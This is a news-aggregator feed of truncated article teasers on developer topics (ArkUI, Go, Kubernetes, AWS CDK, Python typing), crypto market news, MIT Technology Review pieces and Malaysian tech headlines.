    Read the original article:How to Create Interactive UIs with Animation and Transition Effects in ArkUI Introduction In this article, we’ll explore how to use animations in ArkUI through simple yet effective examples. Animations are not just a way to make user interfaces more beautiful — they also bring life and interactivity to apps in the most enjoyable way. HarmonyOS NEXT’s ArkUI framework offers developers a rich and flexible set of animation capabilities to achieve just that. With the aid of animations, you can: Performance Tips & Best Practices 🎯 Keep animations short and meaningful. Long animations can make users feel like they’re waiting. 🚀 Maintain a high FPS (frames per second). Aim for 60FPS whenever possible. Avoid overly complex animations that can cause lag. 🧠 Avoid unnece…  ( 9 min )
    Free Developer Tools: How I Built a Complete Toolkit for the Community
    As a full-stack developer, I've always believed in giving back to the community that has helped me grow. That's why I created a comprehensive collection of 100% free developer tools that solve real problems we face daily. Tech Stack: Frontend: Next.js 15 with TypeScript Styling: Tailwind CSS with shadcn/ui components Deployment: Netlify with optimized build configuration Performance: Lighthouse scores 90+ across all metrics Architecture: The tools are built as modular React components with a focus on performance and user experience. Each tool is self-contained, works offline, and processes data client-side for privacy and speed. // JSON Formatter Tool - Core Logic interface JSONFormatterState { input: string; output: string; error: string | null; isValid: boolean; } const useJSON…  ( 10 min )
    My 6-Month Odyssey: From Binary Novice to Embedded Systems Warrior
    Introduction A journey of a thousand instructions begins with a single bit. Six months ago, I began the Processors and Controllers course—a world where software meets hardware and where code manifests as motion, light, and sound. This isn't just a technical recount; it's about late nights debugging, the thrill of seeing an LED blink for the first time, and the satisfaction of making a stepper motor dance to my code. Month 1-2 was all about learning to think like a machine. The Intel 8086 microprocessor initiated me into low-level programming where every assembly instruction directly molds machine behavior. Key Concepts: Bus Interface Unit (BIU): Manages external bus operations, segment registers, and instruction queue Execution Unit (EU): Arithmetic operations, flags register, and instru…  ( 7 min )
    AI in C# and .NET Development: Google Antigravity IDE
    Google Antigravity and .NET 10 : How AI Agents Are Revolutionizing C# Development in 2025 The convergence of Google's agent-first IDE and Microsoft's most powerful .NET release creates unprecedented opportunities for enterprise document processing and AI-driven development On November 18, 2025, Google launched Antigravity alongside Gemini 3, introducing what they call an "agent-first development platform." Just a week earlier, Microsoft released .NET 10 LTS with C# 14, bringing significant performance improvements and language enhancements. For C# developers and CTOs managing enterprise development teams, this convergence represents a fundamental shift in how we build, maintain, and scale .NET applications. As someone who has spent 41 years in programming and currently architects documen…  ( 12 min )
    Why Modern DevOps Engineers Ignore CPU, Memory & Networking — And Why It’s a Big Mistake
    Because most tools abstract the system Tools like: Kubernetes Docker Terraform Cloud providers CI/CD tools …hide the underlying CPU, RAM, storage, network details. So engineers assume: “The platform will manage it; I don’t need to know systems-level details.” That’s WRONG. 2️⃣ Because modern DevOps training is shortcut-based Bootcamps and online courses teach: Docker commands Jenkins pipelines Kubernetes YAML GitHub Actions …but don’t teach: How CPU scheduling works How memory paging or swapping impacts containers How Linux kernel handles disk I/O How networks, subnets, routes, MTU work How disk throughput affects pods So DevOps engineers come out tool operators, not system engineers. 3️⃣ Because many DevOps engineers never operated bare-metal Old-school sysadmins worked with: Physical ser…  ( 7 min )
    Create a Text Editor in Go - Search
    You can access the code of this chapter in the Kilo-Go github repository in the search branch. Currently your file structure should look something like this: We have now a functional text editor, we could even continue writing the code for this project in it Let's use editorPrompt to implement a minimal search feature. When the user types a search query and presses Enter, we'll loop through the text, and if a row contains the query string, we'll move the cursor there File: utils/constants.go const ( ... KILO_DEFAULT_STATUS_MESSAGE = "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find" ) File: utils/find.go package editor import ( "strings" ) func (e *EditorConfig) editorFind() { query := e.editorPrompt("Search: ") if query == "" { return } for i :=…  ( 9 min )
    How I Built a Chase Bank PDF Parser with 99% Accuracy
    Parsing PDFs sounds easy until you try parsing bank statements. I learned this the hard way. I spent nearly 2 months building a Chase Bank PDF parser that reaches 99% accuracy across 23 real statements (1,123 transactions total). Meanwhile, generic converters like Tabula or PDFTables only hit ~70% on the same documents. Here’s why Chase PDFs are much harder than you think—and how I solved the problems using TypeScript and pdfjs-dist, with real code you can copy. ⸻ Introduction If you’ve ever worked with U.S. banking data, you know that Chase Bank does something strange: CPAs, bookkeepers, and backend engineers quickly hit a wall when they need 5+ years of historical data. Chase provides those older statements only as PDFs—and the PDFs are absolutely not designed for machine parsing. Most …  ( 12 min )
    Generate MCP Tool Schemas Directly From Java Code
    If you are building an MCP server, every tool you expose needs an inputSchema. MCP servers written with Spring AI support often start with a simple data class for tool inputs. Then come changes: a new field, a renamed property, or updated constraints. The JSON schema in the tool registration rarely keeps up - that means clients may send invalid payloads. By generating the schema from the source of truth — the Java type — you remove that drift. Writing that JSON by hand is repetitive, easy to get wrong. MCP supports only a specific sub-type of the JSON Schema specification. The MCP JSON Schema library keeps the parameter schema and the code in lockstep by generating the MCP-compatible JSON Schema from a Jackson 3 annotated Java class or record. What you get: Use of Jackson 3 annotations for…  ( 7 min )
    Implementing BitDT: A Step-by-Step Guide to Date-Time Lossless Compression
    From Zero to Production in Your Chosen Language BitDT's multi-language support makes it accessible across your entire tech stack. This comprehensive guide walks through implementation strategies for Java, TypeScript, and Python environments. Assessment: When to Use BitDT Ideal Use Cases: · High-volume timestamp storage (databases, logs) Consider Alternatives When: · Human readability is paramount Java Implementation Setup and Integration Option 1: Source Integration git clone https://github.com/Danexcodr/BitDT.git cp -r BitDT/java/src/main/java/danexcodr/time/ your-project/src/main/java/ Option 2: Maven/Gradle Ready Structure Basic Usage Patterns Database Entity Integration @Entity public class Event { @Id private Long id; @Column(length = 15) private String compactTimest…  ( 10 min )
    Leveraging CPC and IPC Codes to Improve Searches: Using Classification in Patent Search
    Introduction For patent professionals, the sheer volume of patent filings across jurisdictions can make keyword-only searches unreliable. Terms vary, translations introduce discrepancies, and technical nuances often get missed. This is where using classification in patent search becomes indispensable. Classification systems, such as the Cooperative Patent Classification (CPC) and International Patent Classification (IPC), categorize patents by technology rather than words, providing a structured approach to identify relevant prior art efficiently. In this article, we explore how to leverage CPC and IPC codes for patentability searches, freedom-to-operate analyses, invalidity assessments, and competitive intelligence. We cover workflows, practical strategies, advanced techniques, and the …  ( 10 min )
    Number Time: A Proposal for Rational Temporal Measurement
    Current timekeeping systems reflect historical accidents rather than logical design. The base-60 division of hours and minutes originated from Sumerian finger-counting methods, while our irregular Gregorian calendar stems from Roman political manipulation. This paper proposes "Number Time," a decimal-based temporal system designed to reduce cognitive load, eliminate timezone confusion, and align with natural human rhythms through percentage-based daily measurement, standardized calendar structures, and location-specific sunrise references. The contemporary global timekeeping framework suffers from fundamental inefficiencies rooted in historical contingency. Our 24-hour day divided into 60-minute hours and 60-second minutes exists solely because ancient Sumerians counted using the 12 finger…  ( 13 min )
    Strategy Pattern
    What is strategy pattern ? Strategy is a behavioral design pattern that lets you define a family of algorithms, put each of them into a separate class, and make their objects interchangeable. Strategy Interface: A common interface or abstract class is defined to represent the algorithm's behavior. Concrete Strategies: Concrete classes implement the strategy interface, providing a specific algorithm or behavior. Each concrete strategy encapsulates a particular way to perform a task. Context: The context is the class that uses a strategy. It holds a reference to a strategy object and delegates the task to it instead of executing the logic itself. The context can be configured with a different strategy object at runtime. Client: The client code is responsible for creating the context and choosing which concrete strategy to pass to it. It helps you: ✔ Remove long if/else or switch blocks Think of a payment service: Without Strategy Pattern → you'd write big conditional logic. With Strategy Pattern → you create a separate “strategy” class for each payment type. Source information SourceCode StrategyPattern Github  ( 6 min )
    Type hints in Python (1)
    A type hint: is the label(annotation) which specifies the types for a variable, or function parameter or return value. can be done with one or more types with ':'and with or without '|'. is used with the type checkers such as mypy, pyright, pyre-check, pytype, etc. is optional so it doesn't force the type with error unless type checkers are used. I used mypy --strict for the experiments.     *mypy can be installed with pip install mypy. A type hint can be done with one or more types with ':' and with or without '|' as shown below: *Memo: | can be used from Python 3.10 and typing.Union is still usable: typing.Union can have one or more types. # from typing import Union v: str = 'Hello' # v: Union[str] = 'Hello' # Equivalent v = 23 v = None # Error # from typing import Union v:…  ( 8 min )
    Day 10 of improving my Data Science skills
    So I did an exercise to practice what I learned. I was given three banks' datasets: JPM (JP Morgan), Wells (Wells Fargo) & BAC (Bank of America). These three banks recorded their stock prices at different times due to delay caused by network issues, so their timestamps don’t match exactly. I needed to compare how the prices change across the three banks over time. To do that, I had to first align their times using merge_asof(). What this does is that, it takes a timestamp from JPM, checks to see which timestamp in Wells is closest to it, and then stores the value. I proceed to repeat the same for BAC, and I end up with a lineup of the three banks' logs, where each row has prices taken at almost the same moment. .diff() helps calculate the price changes across the three banks. I plotted these changes to show how each bank's stock price changes over time: Blue line represents JPM From the plot, we can see that: Wells and BAC move more steadily But all three banks show similar rise and fall patterns overall It suggests their price movements are correlated because all big US banks react to similar market forces. For my non-data science audience, you might be asking, kini gbogbo eleyi TL mi?(What's all this on my timeline?). When recording stock prices, different banks often log data at slightly different times. Once the timestamps were aligned, I calculated how much each stock price changed over time. Guess what I found... JPM (blue) is more volatile, swings higher, up and down. The curves for Wells and BAC look similar and smoother. That’s normal, they’re both traditional retail/consumer banks. They respond to: These factors affect them in the same direction, so their returns often move similarly. JPM had the most dramatic ups and downs. Why? Because JPMorgan has: ✔ A massive investment banking division Investment banking stocks naturally move more sharply. This is the End. -SP Day 9 of improving my Data Science skills Sylvester Promise ・ Nov 18 #webdev #ai #career #machinelearning  ( 7 min )
    第 24.3 课:币安合约交易操作详解
    第 24.3 课:币安合约交易操作详解 ⏱ 课时:2.5 小时 🎯 学习目标:掌握币安合约交易的API操作,学会安全地进行杠杆交易 合约交易风险极高,新手请谨慎操作! 🔴 高风险警告: - 合约交易具有杠杆效应,可能损失全部本金 - 市场剧烈波动可能导致强制平仓 - 资金费率和交易成本较高 - 需要丰富的交易经验和强大的心理素质 📋 适用人群: - 有丰富现货交易经验 - 深刻理解杠杆风险 - 有完善的风险管理策略 - 能承受重大资金损失 💡 建议:先用小资金测试,充分理解机制后再逐步增加 合约交易是加密货币交易的高级形式,通过杠杆可以放大收益,但同时也放大了风险。 本课重点: 杠杆是双刃剑,放大收益的同时也会放大亏损。谨慎使用,严格风控。 本课将详细讲解: 币安合约API的配置和使用 杠杆和保证金管理 合约订单类型和操作 风险管理和资金控制 在币安API管理页面,需要开启以下权限: ✅ 必须开启: □ Enable Reading (读取权限) □ Enable Futures Trading (合约交易权限) ⚠️ 可选开启(谨慎): □ Enable Margin Trading (杠杆交易权限) ❌ 绝对禁止: □ Enable Withdrawals (提币权限) - 永远不要开启! # 1. 从现货账户转入资金到合约账户 # 在币安网页版或APP中操作: # 资金 → 划转 → 从现货账户到USDT-M合约账户 # 2. 建议初始资金 # 新手:100-500 USDT # 有经验:1000-5000 USDT # 高级:5000+ USDT { "exchange": { "name": "binance", "key": "${BINANCE_API_KEY}", "secret": "${BINANC…  ( 15 min )
    The Scream Beneath the Digital Noise: Why We Can't Turn Off Notification Sounds
    Have you ever wondered why that tiny notification sound has the power to pull our attention like a magnet we never asked to carry? On the subway, in cafés, classrooms, on the street. It's always the same. Ding. Such a small sound, but it pokes at something inside us. It's become one of modern life's strangest habits - instead of turning their phones down, people crank the volume all the way up. And it's not just a setting. It's almost a personality trait, a posture, a way of saying "I'm here." At some point, that tiny sound becomes an extension of who someone is. A kind of digital breath, I guess. Of course, there's biology involved. Dopamine. The moment that sound plays, your brain releases this tiny reward, a little spark. It feels like someone thought of us, reached out, needed us. Afte…  ( 7 min )
    What's New in .NET 10 and C# 14
    What's New in .NET 10 and C# 14: The Enterprise Architect's Guide to WebAssembly as a Parallel Runtime TL;DR: Why This Matters to Every .NET Developer If you're a .NET developer who's been writing C# code for years but haven't been paying attention to the WebAssembly revolution, this article is your wake-up call. .NET 10 (released November 11, 2025) isn't just another incremental update—it's Microsoft's declaration that the browser is now a first-class .NET runtime, sitting alongside your traditional server deployments. Imagine writing your business logic once in C# and having it run everywhere: on your servers at 49% faster speeds than .NET 8, in the browser via WebAssembly with 76% smaller download sizes, on edge devices via WASI, and even in native mobile apps through .NET …  ( 78 min )
    Framer Ground: Copy-Paste Animation Components for React/Next.js
    Framer Ground: Open-source animated components you can copy directly into React/Next.js projects Key features: ✂️ No npm install needed, just copy and paste the code ⚡ Built with Framer Motion for smooth 60fps animations 🎨 Styled with TailwindCSS, easy to customize 📦 Includes buttons, cards, carousels, galleries, inputs, menus, and navbars 💪 Full TypeScript support 🚀 Works alongside any UI library Check it out if you want to add micro-interactions without building animations from scratch. Similar approach to shadcn/ui but focused purely on animations. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    **"Score Big on the Road to Qatar: In-Depth World Cup Analysis & Predictions"**
    World Cup 2026: Unpacking Team Performances, Qualifiers, and Match Analysis As we edge closer to the 2026 FIFA World Cup, the excitement is palpable. The latest FIFA rankings have revealed the top seeds, leaving us wondering about the prospects of various national teams. In this article, we'll delve into team performances, qualifiers, match analysis, and player insights, providing you with a comprehensive understanding of the World Cup 2026 landscape. The qualifying process for the 2026 World Cup has been nothing short of dramatic. With some surprising upsets and impressive comebacks, teams have secured their spots or narrowly missed out. According to worldcup26.app, as of now, the following teams are qualified: Africa: Egypt, Ghana, Morocco, Senegal, Tunisia Asia: Australia, Japan, South …  ( 7 min )
    Securing Cross-Account AWS Operations: Adding External ID Support to AwsCustomResource
    I recently contributed to the AWS Cloud Development Kit (CDK) by implementing External ID support for AwsCustomResource, a feature that enhances security for cross-account AWS operations. The pull request #35252 was merged into the main branch after a comprehensive review process, addressing a critical security gap identified in issue #34018. This article walks through the problem, the solution, and the engineering decisions that went into this contribution. The Problem: Confused Deputy Attacks Consider this scenario: Your Lambda function assumes a role in Account B using sts:AssumeRole An attacker discovers your function's configuration The attacker creates their own resource that tricks your function into assuming a role in their account instead Your function unknowingly performs operati…  ( 10 min )
    Beyond Scheduling: How Kubernetes Uses QoS, Priority, and Scoring to Keep Your Cluster Balanced
    When every Pod screams for CPU and memory, who decides who lives, who waits, and who gets evicted? Kubernetes isn't just a scheduler — it's a negotiator of fairness and efficiency. This article unpacks how Quality of Service (QoS), Priority Classes, Preemption, and Bin-Packing Scoring come together to keep your cluster stable and fair. ⚙️ The Challenge: Competing Workloads in Shared Clusters When multiple workloads share cluster resources, conflicts are inevitable: High-traffic apps starve lower workloads. Batch jobs hog memory. Pods without limits cause unpredictable evictions. Kubernetes addresses this by applying a layered decision-making model — QoS, Priority, Preemption, and Scoring. 🧭 QoS (Quality of Service): Who Gets Evicted First Each Pod belongs to a QoS class based on CPU and m…  ( 7 min )
    Restoring files with git
    git restore --source=main -- path/to/fileA.js  ( 6 min )
    Best Primer For Miniatures, The Confident Choice For Perfect Coverage
    Primer is the foundation that decides how every colour sits, blends, and lasts. Choose the best primer for miniatures and your paint glides, details stay crisp, and varnish protection holds up. Choose badly and you fight chalky texture, clogged recesses, and flaky adhesion. This guide explains types of primer, how they behave on different materials, what colours to pick, and the environmental factors that make or break a smooth coat. If you are looking for practical miniature priming tips, want to understand how a Warhammer model primer behaves on plastic, resin, and metal, and you need a simple checklist to avoid grainy results, you are in the right place. Why Primer Quality Affects Every Stage Of Painting Primer does three vital jobs. It grips the miniature so colour coats do not rub o…  ( 10 min )
    Introduction to GO Programming
    Table of Contents Introduction Go Software Enable dependency tracking for your code Go is an open-source programming language developed by Google It was designed at Google in 2007 by Robert Griesemer,and Ken Thompson, and publicly announced in November 2009. It is syntactically similar to C, but also has garbage collection, structural typing It is often referred to as Golang to avoid ambiguity and because of its former domain name, golang.org, but its proper name is Go the gopher : The Go gopher was created by renowned illustrator Renee French. It has become a beloved mascot for the Go brand. The Gopher is a reminder of the approachability and fun that comes with the Go brand and language. Go to the go website and then click on the download button Go can be installed in multiple Operating systems and information given below Its a straight forward installation, just keep click next to complete the installation. Try the below command in the software folder go mod init example/hello go: creating new go.mod: module example/hello Create a file hello.go file package main import "fmt" func main() { fmt.Println("Hello, World!") } Run your code to see the greeting. go run . Hello, World! References: https://en.wikipedia.org/wiki/Go_(programming_language) https://go.dev/  ( 6 min )
    dev diary 20251119
    ideation for web app i generated the ideas for web app with Miro stickies. the Several ideas are written. notes to add revision with red color. notes without thinking integration automatically data analysis, multi step thinking with AI i already built the pipe line to develop full stack app with aws amplify. and as the next step, i wanna prepare basic CRUD function as template for general usage. and i made it. https://github.com/hirookakazuya/20251119_app] each dev folder have storage of 1.2GB and the most of it is in node_modules folder. as chatAI information, this node_module folder can be deleted and restored again with install npm when i use it. i didn't try it. now i' using the cursor. but the limitation of monthly use come. i study which tool i should select for code assistant. for basic use for dev, free ai chat bot is enough like chatGPT, Gemini. in these tool, i don't care about the limitation.  ( 6 min )
    Cool Features in AWS CloudFormation
    AWS CloudFormation is an AWS tool that lets you create and manage cloud resources using code instead of clicking around the console. You describe everything you want - like EC2 instances, S3 buckets, IAM roles, VPCs — in a template file (YAML or JSON), and CloudFormation reads that template and automatically provisions, updates, or deletes those resources for you as a single stack. This makes your infrastructure repeatable, version-controlled, and easier to manage, because you can deploy the same setup to multiple environments (dev, test, prod) with minimal changes, roll back if something fails, and track all infrastructure changes just like you do with application code. Recently, there has been number of improvements in CloudFormation making it much easier to manage infrastructure resourc…  ( 8 min )
    Real-time Metrics and Ring Balance: A Major TUI Upgrade for LimeDB
    Github: namanvashistha/limedb This commit significantly enhances the Text-based User Interface (TUI) for LimeDB, our lightweight, fast, open-source distributed key-value store. The focus is on providing developers with immediate, actionable insights into cluster health and data distribution. Real-time Node Metrics: ClusterStatus widget in the TUI now displays crucial operational metrics for each LimeDB node. These include: CPU Usage: Percentage of system CPU being utilized by the node process. Memory Usage: Amount of JVM memory consumed by the node. Uptime: How long the node process has been running. Latency: Round-trip time to communicate with the node. Why this matters: This provides a quick overview of individual node health, helping identify bottlenecks or unresponsive instance…  ( 7 min )
    The Stochastic Shift: When Your Creative Toolbox Becomes a Slot Machine
    I remember the predictable rhythm of the Dreamweaver era. Firing up Photoshop, I'd mock up a pristine website layout, slice buttons and images, then export everything into HTML tables or early CSS floats. My process was predictable, my costs quantifiable. A client needed a landing page? "$500," I'd quote. That was 10 hours of design and code at $50/hour, minus a prorated slice of my Adobe subscription. Boom. A local coffee shop needed a brochure site. I'd sketch wireframes on paper (yes, actual paper!), scan them, build the PSD, and meticulously slice the hero image into top/middle/bottom for that stretchy background hack. The equation was simple: Time × Skill = Output. Fast forward to today, and that clean equation has shattered. My workflow now involves prompting Midjourney for a lo…  ( 7 min )
    🌐 NAT Behind the Scenes: How Your Host and Virtual Machine Share the Internet
    https://medium.com/@natarajanck2/nat-explained-simply-how-network-address-translation-works-in-pcs-and-virtual-machines-a633bb82a016  ( 6 min )
    Day 1270 : Wednesday
    liner notes: Professional : Pretty good day. Had a few meetings. I responded to some community questions. Spent some time trying to work out some GitHub workflows that I didn't set up. haha It's part of a project I was involved with another person. I worked on the front end application that created the artifact that would then be sent to GitHub and that would kick off some tasks that the person I was working with created to get my artifact ready to be deployed to a platform. Well, the platform is no longer a viable option, so I'm working on refactoring everything to stay of GitHub and use Codespaces instead. The person I worked on this with is no longer at the company, but luckily we did a walk through of everything we worked on and recorded it. I watched it and went through some code to try and jog my memory and also think about how I can make this work. Personal : Last night, instead of coding (I think I was tired from work) I created another version of a 3D model that I've been wanting to remake. I learned some new things in Tinkercad and it helped me accomplish what I wanted. I think I'm going to do some coding. Go through tracks from Bandcamp and for the radio show. How is it Wednesday already?! Pretty much it. Going to eat dinner and get to work. Have a great night! peace piece https://dwane.io / https://HIPHOPandCODE.com  ( 7 min )
    The shift toward agentic development
    Some thoughts on where software engineering is heading Over the past two years, software development has changed in ways that feel significant. These are patterns I'm noticing both in my own work and across the industry. I've been using AI coding tools in personal projects for over two years. The evolution has been clear. It started with copying code from ChatGPT and pasting it into an IDE. Then came tab completion with Cursor and GitHub Copilot, which was helpful but not transformative. The real shift happened when Cursor introduced agentic capabilities, before Copilot had similar features. More recently, I got access to IBM Bob at work, which resembles Cursor 1.X and GitHub Copilot in approach. Most recently, Claude Code with its predominantly agentic workflow has reinforced what seems t…  ( 14 min )
  • Open

    Tether’s Gold Hoard Surges to 116 Tons, Rivals Small Central Banks
    Jefferies said that stablecoin giant Tether has quietly become one of the gold market’s most influential new buyers.  ( 35 min )
    Bitcoin Sell-Off Led by Mid-Cycle Wallets While Long-Term Whales Hold Firm: VanEck
    VanEck says bitcoin’s downturn is being driven by mid-cycle wallets while the oldest holders keep accumulating, with futures data showing washed-out market conditions.  ( 35 min )
    Crypto Lobbyists Pitching Trump on Getting Things Done During Congress' Uncertainty
    Industry groups signed a letter to President Donald Trump calling for new tax policy and agency action on initiatives apart from Congress' market structure work.  ( 35 min )
    Kalshi Raises $1B at $11B Valuation as Prediction Market Race Continues: TechCrunch
    The CFTC-regulated exchange is gaining ground on crypto-native Polymarket, offering event contracts with fiat access and legal clarity.  ( 34 min )
    Anthony Scaramucci-Backed AVAX One Approves $40M Stock Buyback
    Digital asset treasury firms are increasingly turning to share buybacks to arrest plunging stock prices as investor demand sours.  ( 33 min )
    Trump's CFTC Pick, Mike Selig, Clears Hurdle on Way Toward Confirmation Vote
    The day after his confirmation hearing, the Senate Agriculture Committee made a quick vote to push Mike Selig toward the overall Senate for a final vote.  ( 34 min )
    Crypto Exchange Ripio Reveals $100M Crypto Treasury, Second Largest in Latin America
    The company's holdings, which include bitcoin and ether, have been managed through trading and hedging strategies since 2017.  ( 32 min )
    Ray Dalio Still Owns Bitcoin, but Says Traceability and Quantum Threat Are Concerns
    The billionaire founder of hedge fund Bridgewater believes Bitcoin faces major hurdles before it can become a global reserve currency.  ( 34 min )
    HBAR Faces Fresh Liquidity Alarms After Breakdown to $0.1373
    Hedera’s token slipped below key support levels as a late-session trading halt, collapsing volume, and failed recovery attempts point to mounting structural and liquidity stress.  ( 35 min )
    ICP Breaks Below Key Support as Volume Surges at Resistance Test
    Heavy trading activity during a failed rebound attempt pushed ICP into a tighter consolidation zone below $4.95, reinforcing short-term downside risk.  ( 33 min )
    The Rise of Crypto Treasuries: How One Bet Sparked a Corporate Shift
    Michael Saylor’s 2020 move turned idle cash into crypto. Now, firms from healthcare to tech are following the playbook, with mixed results.  ( 37 min )
    Bitcoin's Nvidia-Led Gains Prove Short-Lived, With Price Slumping Back to $88K
    U.S. stocks are also giving up a major early advance, with the Nasdaq now ahead just 0.3%.  ( 33 min )
    BONK Holds Range as Heavy Volume Marks Key Support Retest
    The Solana memecoin stayed locked in a wide consolidation band, with surging volume confirming both a resistance rejection and subsequent recovery.  ( 33 min )
    Ethereum’s Fusaka Upgrade Signals New Era for Value Accrual: Fidelity Digital Assets
    The upgrade marks a sharper strategic turn for the blockchain, aligning protocol development with economic intent and strengthening the case for ether.  ( 34 min )
    What Next For XRP as Bitcoin Loses $90,000 Level Again
    Institutional activity declined significantly, and the market remains pressured by Bitcoin's weak structure and ETF outflows.  ( 36 min )
    Kraken’s IPO Play: Why the Crypto Exchange Is Racing Toward the Public Markets
    The exchange’s confidential filing comes amid clearer regulatory signals, a market pullback and a wave of crypto firms testing public markets.  ( 34 min )
    Crypto for Advisors: Crypto Indices Explained
    Crypto indices and key metrics explained: How index design — from asset selection to weighting and rebalancing — defines trust, transparency, and product viability.  ( 37 min )
    Core Foundation Wins Injunction Against Maple Finance on Alleged Confidentiality Breach
    The Grand Court of the Cayman Islands granted the injunction against Maple Finance completing its own liquid staking token syrupBTC.  ( 33 min )
    Solana ETFs Post Second-Biggest November Inflows as Demand Grows During Downturn
    Spot SOL exchange-traded funds extended an inflow streak since they began trading on Oct. 28 while bitcoin and ether ETFs bled hundreds of millions of dollars.  ( 33 min )
    Securitize Leverages Plume to Expand Global Real-World Asset Reach
    Securitize partners with Plume to launch institutional-grade assets on Plume's Nest staking protocol, expanding its DeFi footprint.  ( 35 min )
    Tether Invests in LatAm Crypto Infrastructure Firm Parfin to Boost USDT Among Institutions
    The investment is part of Tether’s broader push to expand stablecoin settlement and tokenization tools among institutions across Latin America, the firm said.  ( 33 min )
    Ether Treasury Firm FG Nexus Unloads Nearly 11K ETH to Fund Share Buyback
    The action comes just a couple of weeks after fellow ETH treasury firm ETHZilla sold $40 million of tokens to fund its own share buybacks.  ( 33 min )
    Cipher Mining Inks New 10-Year HPC Deal With Fluidstack; Shares Rise 13%
    The expansion adds 56 MW at Barber Lake and secures $830 million in contracted revenue, reinforced by increased Google backing.  ( 34 min )
    CoinDesk 20 Performance Update: Aptos (APT) Gains 10% as All Index Constituents Rise
    Polygon (POL) was also a top performer, up 7.9% from Wednesday.  ( 31 min )
    World App Starts Virtual Bank Accounts Pilot for USDC Payroll Deposits
    The feature issues unique virtual account numbers, allowing users to receive direct deposits, like payroll payments, straight into the World App.  ( 34 min )
    U.S. Added Stronger Than Forecast 119K Jobs in September, but Unemployment Rate Rose to 4.4%
    The September jobs report typically would have been published in the first week of October, but was delayed till now due to the government shutdown.  ( 34 min )
    B. Riley Cuts Digital Asset Treasury Company Price Targets as Crypto Slump Deepens
    The investment bank slashed price targets across so-called Datcos, citing sector-wide pressure and weaker accumulation trends.  ( 35 min )
    Metaplanet Unveils New Bitcoin Backed Capital Structure with $150M Perpetual Preferred Offering
    MARS and MERCURY preferred shares define a two tier equity stack as Metaplanet raises new capital.  ( 35 min )
    JPMorgan Warns MSCI Decision Could Force Strategy Out of Top Equity Indices
    The bank said billions in passive flows could unwind if MSCI removes Strategy from major equity benchmarks, heightening pressure on the bitcoin-levered firm.  ( 34 min )
    Seller Fatigue?: Crypto Daybook Americas
    Your day-ahead look for Nov. 20, 2025  ( 40 min )
    AI and HPC Bitcoin Miners Surge Pre Market Following Stellar NVIDIA Earnings
    Strong NVIDIA guidance lifts pre market sentiment across bitcoin miners while NAKA delivers delayed Q3 losses.  ( 34 min )
    Crypto Markets Today: Bitcoin Holds Steady Amid Wave of Sell Pressure as Altcoins Slide
    A long-term BTC holder moved hundreds of millions to exchanges, but the market absorbed the supply shock as altcoins suffered broad declines.  ( 36 min )
    Abu Dhabi Investment Tripled IBIT Holdings in Q3 as Bitcoin Headed to Record High
    The company sees bitcoin as a store of value, similar to gold, a spokesperson told Bloomberg.  ( 33 min )
    Ark Invest Buys the Slide, Adds Almost $40M of Crypto Stocks, as Market Drops
    Cathie Wood's investment manager added to its holdings of Bullish (BLSH), Circle Internet (CRCL) and Bitmine (BMNR) as all three companies' stock prices fell.  ( 32 min )
    BlackRock Takes First Step Toward a Staked Ether ETF
    A new Delaware filing for the iShares Staked Ethereum Trust signals BlackRock’s intent to enter the yield-bearing ether market as issuers wait for SEC clarity on staking.  ( 32 min )
    Fed December Rate Cut Odds Collapse to 30%
    The probability of the Federal Reserve cutting interest rates has decreased significantly, now standing at 30%.  ( 33 min )
    Privacy-Focused Aztec Network's Ignition Chain Lights Up on Ethereum
    Aztec Network launched its Ignition Chain, becoming the first fully decentralized Layer 2 protocol on Ethereum's mainnet.  ( 33 min )
    India's Debt-Backed ARC Token Eyes Tentative Q1 2026 Debut, Sources Say
    The ARC will operate within a two-tier framework, complementing the RBI's Central Bank Digital Currency.  ( 34 min )
    Dogecoin Hits Multi-Month Lows as Exchange Flows Turn Bullish for First Time in 6 Months
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 36 min )
    XRP Slumps as $2.15 Level Collapses, Bearish Structure Deepens
    Despite no major catalysts, broader crypto market weakness and Bitcoin's 'Death Cross' contributed to XRP's decline.  ( 35 min )
    Asia Morning Briefing: Market Turns Defensive as Bitcoin Loses Its Bid
    With CryptoQuant flagging an exhausted demand wave and Polymarket traders clustering around an 85,000 retest, the market is trading without the catalysts that drove last year’s gains.  ( 34 min )
  • Open

    Roundtables: Surviving the New Age of Conspiracies
    Everything is a conspiracy theory now. MIT Technology Review’s series, “The New Conspiracy Age,” explores how this moment is changing science and technology. Watch a discussion with our editors and Mike Rothschild, journalist and conspiracy theory expert, about how we can make sense of them all. Speakers: Amanda Silverman, Editor, Features & Investigations; Niall Firth,…  ( 16 min )
    Designing digital resilience in the agentic AI era
    Digital resilience—the ability to prevent, withstand, and recover from digital disruptions—has long been a strategic priority for enterprises. With the rise of agentic AI, the urgency for robust resilience is greater than ever. Agentic AI represents a new generation of autonomous systems capable of proactive planning, reasoning, and executing tasks with minimal human intervention. As…  ( 24 min )
    The Download: what’s next for electricity, and living in the conspiracy age
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Three things to know about the future of electricity The International Energy Agency recently released the latest version of the World Energy Outlook, the annual report that takes stock of the current state…  ( 21 min )
    Three things to know about the future of electricity
    One of the dominant storylines I’ve been following through 2025 is electricity—where and how demand is going up, how much it costs, and how this all intersects with that topic everyone is talking about: AI. Last week, the International Energy Agency released the latest version of the World Energy Outlook, the annual report that takes…  ( 20 min )
  • Open

    TM Issues Statement Regarding NG MERS 999 Issues
    Telekom Malaysia (TM) has issued a statement, addressing complaints surrounding the failures of its Next Generation Emergency Response Services 999, or NG MERS 999 in short. Malaysia upgraded the 17-year-old MERS999 platform because it had reached its technical limits and could no longer support the country’s evolving emergency requirements. NG MERS 999 was introduced to […] The post TM Issues Statement Regarding NG MERS 999 Issues appeared first on Lowyat.NET.  ( 36 min )
    Maxis Launches Yearly Upgrade Programme For iPhone Customers
    Upgrading to a new iPhone every single year is a baffling habit, but if you’ve got the cash to burn, who’s stopping you? For everyone else who’s a little more careful with their money yet still feels oddly tempted to keep up with the annual cycle, Maxis now has something that might make that decision […] The post Maxis Launches Yearly Upgrade Programme For iPhone Customers appeared first on Lowyat.NET.  ( 36 min )
    Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup
